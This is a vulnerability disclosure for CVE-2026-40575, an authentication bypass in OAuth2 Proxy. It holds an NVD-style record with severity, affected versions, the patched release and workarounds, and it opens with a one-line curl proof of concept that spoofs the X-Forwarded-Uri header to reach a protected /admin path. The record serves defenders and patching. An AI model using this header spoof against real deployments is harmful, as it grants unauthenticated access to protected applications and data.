CVE-2026-40575

# PoC for CVE-2026-40575 # Send a request to a protected endpoint (/admin) with a spoofed header # assuming /public is in the --skip-auth-regex list. curl -v http://target-oauth2-proxy.example.com/admin \ -H "X-Forwarded-Uri: /public" \ -H "User-Agent: PoC-Client"

{"cve": {"id": "CVE-2026-40575", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:27.817", "lastModified": "2026-04-27T19:29:10.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OAuth2 Proxy is a reverse proxy that provides authentication using OAuth2 providers. Versions 7.5.0 through 7.15.1 may trust a client-supplied `X-Forwarded-Uri` header when `--reverse-proxy` is enabled and `--skip-auth-regex` or `--skip-auth-route` is configured. An attacker can spoof this header so OAuth2 Proxy evaluates authentication and skip-auth rules against a different path than the one actually sent to the upstream application. This can result in an unauthenticated remote attacker bypassing authentication and accessing protected routes without a valid session. Impacted users are deployments that run oauth2-proxy with `--reverse-proxy` enabled and configure at least one `--skip-auth-regex` or `--skip-auth-route` rule. This issue is patched in `v7.15.2`. Some workarounds are available for those who cannot upgrade immediately. Strip any client-provided `X-Forwarded-Uri` header at the reverse proxy or load balancer level; explicitly overwrite `X-Forwarded-Uri` with the actual request URI before forwarding requests to OAuth2 Proxy; restrict direct client access to OAuth2 Proxy so it can only be reached through a trusted reverse proxy; and/or remove or narrow `--skip-auth-regex` / `--skip-auth-route` rules where possible. For nginx-based deployments, ensure `X-Forwarded-Uri` is set by nginx and not passed through from the client."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oauth2_proxy_project:oauth2_proxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.5.0", "versionEndExcluding": "7.15.2", "matchCriteriaId": "03587628-7B66-41FF-B89D-DF35A5134CD7"}]}]}], "references": [{"url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-7x63-xv5r-3p2x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}